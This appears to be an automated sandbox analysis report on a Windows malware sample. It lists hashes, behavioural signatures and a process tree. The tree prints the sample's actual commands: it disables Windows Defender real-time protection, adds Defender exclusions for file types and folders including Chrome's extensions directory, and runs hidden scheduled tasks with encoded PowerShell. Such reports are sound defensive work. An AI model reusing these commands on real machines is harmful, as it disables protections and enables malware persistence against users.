Analysis
-
max time kernel
72s -
max time network
204s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
25-04-2024 01:44
Static task
static1
Behavioral task
behavioral1
Sample
3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe
Resource
win7-20240221-en
General
-
Target
3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe
-
Size
6.6MB
-
MD5
d1a74dc914c8e798a102056bfbf52714
-
SHA1
8156de08a9859961e2b50682e356b57dba87f135
-
SHA256
3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43
-
SHA512
dcde83622b9f6d525f9a0dc7b12f36e86665761e4dfcf9c778214e11c065a5c6ffb6beefb1f1d4b661be6f0a663630a414596ad14ebfdf69fee597435d90ffcc
-
SSDEEP
196608:91OU2zjVpYD8vDwJmaHxbS2Os9qP0eEIxaK:3OU2tpRvDqRbhOZ0f+aK
Malware Config
Signatures
-
Processes:
reg.exereg.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1" reg.exe -
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Install.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe -
Executes dropped EXE 2 IoCs
Processes:
Install.exemgAJCNn.exepid process 1684 Install.exe 1100 mgAJCNn.exe -
Loads dropped DLL 4 IoCs
Processes:
3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exeInstall.exepid process 2224 3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe 1684 Install.exe 1684 Install.exe 1684 Install.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops file in System32 directory 8 IoCs
Processes:
powershell.exemgAJCNn.exepowershell.EXEpowershell.EXEpowershell.exedescription ioc process File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol mgAJCNn.exe File created C:\Windows\system32\GroupPolicy\gpt.ini mgAJCNn.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol mgAJCNn.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini mgAJCNn.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Windows directory 1 IoCs
Processes:
schtasks.exedescription ioc process File created C:\Windows\Tasks\bwrroZoeZRoQVpyAcj.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 12 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 2980 schtasks.exe 1272 schtasks.exe 2012 schtasks.exe 1124 schtasks.exe 1612 schtasks.exe 596 schtasks.exe 2660 schtasks.exe 1292 schtasks.exe 1596 schtasks.exe 2368 schtasks.exe 1956 schtasks.exe 2392 schtasks.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
Install.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe -
Modifies data under HKEY_USERS 7 IoCs
Processes:
mgAJCNn.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached mgAJCNn.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{6C467336-8281-4E60-8204-430CED96822D} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000b0b95647b296da01 mgAJCNn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ mgAJCNn.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" mgAJCNn.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" mgAJCNn.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0c46947b296da01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepowershell.EXEpowershell.EXEpowershell.exepid process 1160 powershell.exe 2552 powershell.EXE 2552 powershell.EXE 2552 powershell.EXE 1372 powershell.EXE 1372 powershell.EXE 1372 powershell.EXE 2140 powershell.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
powershell.exeWMIC.exepowershell.EXEpowershell.EXEpowershell.exedescription pid process Token: SeDebugPrivilege 1160 powershell.exe Token: SeIncreaseQuotaPrivilege 2020 WMIC.exe Token: SeSecurityPrivilege 2020 WMIC.exe Token: SeTakeOwnershipPrivilege 2020 WMIC.exe Token: SeLoadDriverPrivilege 2020 WMIC.exe Token: SeSystemProfilePrivilege 2020 WMIC.exe Token: SeSystemtimePrivilege 2020 WMIC.exe Token: SeProfSingleProcessPrivilege 2020 WMIC.exe Token: SeIncBasePriorityPrivilege 2020 WMIC.exe Token: SeCreatePagefilePrivilege 2020 WMIC.exe Token: SeBackupPrivilege 2020 WMIC.exe Token: SeRestorePrivilege 2020 WMIC.exe Token: SeShutdownPrivilege 2020 WMIC.exe Token: SeDebugPrivilege 2020 WMIC.exe Token: SeSystemEnvironmentPrivilege 2020 WMIC.exe Token: SeRemoteShutdownPrivilege 2020 WMIC.exe Token: SeUndockPrivilege 2020 WMIC.exe Token: SeManageVolumePrivilege 2020 WMIC.exe Token: 33 2020 WMIC.exe Token: 34 2020 WMIC.exe Token: 35 2020 WMIC.exe Token: SeDebugPrivilege 2552 powershell.EXE Token: SeDebugPrivilege 1372 powershell.EXE Token: SeDebugPrivilege 2140 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exeInstall.exeforfiles.execmd.exepowershell.exetaskeng.exemgAJCNn.exetaskeng.exepowershell.EXEdescription pid process target process PID 2224 wrote to memory of 1684 2224 3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe Install.exe PID 2224 wrote to memory of 1684 2224 3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe Install.exe PID 2224 wrote to memory of 1684 2224 3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe Install.exe PID 2224 wrote to memory of 1684 2224 3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe Install.exe PID 2224 wrote to memory of 1684 2224 3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe Install.exe PID 2224 wrote to memory of 1684 2224 3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe Install.exe PID 2224 wrote to memory of 1684 2224 3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe Install.exe PID 1684 wrote to memory of 1976 1684 Install.exe forfiles.exe PID 1684 wrote to memory of 1976 1684 Install.exe forfiles.exe PID 1684 wrote to memory of 1976 1684 Install.exe forfiles.exe PID 1684 wrote to memory of 1976 1684 Install.exe forfiles.exe PID 1684 wrote to memory of 1976 1684 Install.exe forfiles.exe PID 1684 wrote to memory of 1976 1684 Install.exe forfiles.exe PID 1684 wrote to memory of 1976 1684 Install.exe forfiles.exe PID 1976 wrote to memory of 1320 1976 forfiles.exe reg.exe PID 1976 wrote to memory of 1320 1976 forfiles.exe reg.exe PID 1976 wrote to memory of 1320 1976 forfiles.exe reg.exe PID 1976 wrote to memory of 1320 1976 forfiles.exe reg.exe PID 1976 wrote to memory of 1320 1976 forfiles.exe reg.exe PID 1976 wrote to memory of 1320 1976 forfiles.exe reg.exe PID 1976 wrote to memory of 1320 1976 forfiles.exe reg.exe PID 1320 wrote to memory of 1160 1320 cmd.exe conhost.exe PID 1320 wrote to memory of 1160 1320 cmd.exe conhost.exe PID 1320 wrote to memory of 1160 1320 cmd.exe conhost.exe PID 1320 wrote to memory of 1160 1320 cmd.exe conhost.exe PID 1320 wrote to memory of 1160 1320 cmd.exe conhost.exe PID 1320 wrote to memory of 1160 1320 cmd.exe conhost.exe PID 1320 wrote to memory of 1160 1320 cmd.exe conhost.exe PID 1160 wrote to memory of 2020 1160 powershell.exe WMIC.exe PID 1160 wrote to memory of 2020 1160 powershell.exe WMIC.exe PID 1160 wrote to memory of 2020 1160 powershell.exe WMIC.exe PID 1160 wrote to memory of 2020 1160 powershell.exe WMIC.exe PID 1160 wrote to memory of 2020 1160 powershell.exe WMIC.exe PID 1160 wrote to memory of 2020 1160 powershell.exe WMIC.exe PID 1160 wrote to memory of 2020 1160 powershell.exe WMIC.exe PID 1684 wrote to memory of 596 1684 Install.exe conhost.exe PID 1684 wrote to memory of 596 1684 Install.exe conhost.exe PID 1684 wrote to memory of 596 1684 Install.exe conhost.exe PID 1684 wrote to memory of 596 1684 Install.exe conhost.exe PID 1684 wrote to memory of 596 1684 Install.exe conhost.exe PID 1684 wrote to memory of 596 1684 Install.exe conhost.exe PID 1684 wrote to memory of 596 1684 Install.exe conhost.exe PID 840 wrote to memory of 1100 840 taskeng.exe mgAJCNn.exe PID 840 wrote to memory of 1100 840 taskeng.exe mgAJCNn.exe PID 840 wrote to memory of 1100 840 taskeng.exe mgAJCNn.exe PID 840 wrote to memory of 1100 840 taskeng.exe mgAJCNn.exe PID 1100 wrote to memory of 2660 1100 mgAJCNn.exe reg.exe PID 1100 wrote to memory of 2660 1100 mgAJCNn.exe reg.exe PID 1100 wrote to memory of 2660 1100 mgAJCNn.exe reg.exe PID 1100 wrote to memory of 2660 1100 mgAJCNn.exe reg.exe PID 1100 wrote to memory of 2488 1100 mgAJCNn.exe schtasks.exe PID 1100 wrote to memory of 2488 1100 mgAJCNn.exe schtasks.exe PID 1100 wrote to memory of 2488 1100 mgAJCNn.exe schtasks.exe PID 1100 wrote to memory of 2488 1100 mgAJCNn.exe schtasks.exe PID 2460 wrote to memory of 2552 2460 taskeng.exe reg.exe PID 2460 wrote to memory of 2552 2460 taskeng.exe reg.exe PID 2460 wrote to memory of 2552 2460 taskeng.exe reg.exe PID 2552 wrote to memory of 2644 2552 powershell.EXE reg.exe PID 2552 wrote to memory of 2644 2552 powershell.EXE reg.exe PID 2552 wrote to memory of 2644 2552 powershell.EXE reg.exe PID 1100 wrote to memory of 2932 1100 mgAJCNn.exe schtasks.exe PID 1100 wrote to memory of 2932 1100 mgAJCNn.exe schtasks.exe PID 1100 wrote to memory of 2932 1100 mgAJCNn.exe schtasks.exe PID 1100 wrote to memory of 2932 1100 mgAJCNn.exe schtasks.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe"C:\Users\Admin\AppData\Local\Temp\3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4FF4.tmp\Install.exe.\Install.exe /pmdidVs "525403" /S2⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bwrroZoeZRoQVpyAcj" /SC once /ST 01:45:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\mgAJCNn.exe\" ZO /kPsite_idGuh 525403 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\system32\taskeng.exetaskeng.exe {3CC2A4EB-CC23-4467-9974-12BFE8A1D580} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\mgAJCNn.exeC:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\mgAJCNn.exe ZO /kPsite_idGuh 525403 /S2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gfVrZgCfQ" /SC once /ST 00:36:14 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gfVrZgCfQ"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gfVrZgCfQ"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:324⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:644⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ggYNtJsfQ" /SC once /ST 00:26:01 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "ggYNtJsfQ"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "ggYNtJsfQ"3⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True6⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\cmd.execmd /C copy nul "C:\Windows\Temp\heXdjphsLYtTYYrU\xyVhveKX\thsCdlZPKbViygcY.wsf"3⤵
-
C:\Windows\SysWOW64\wscript.exewscript "C:\Windows\Temp\heXdjphsLYtTYYrU\xyVhveKX\thsCdlZPKbViygcY.wsf"3⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\mMAjWdbxOIjSziVB" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\mMAjWdbxOIjSziVB" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\heXdjphsLYtTYYrU" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\mMAjWdbxOIjSziVB" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\mMAjWdbxOIjSziVB" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵
-
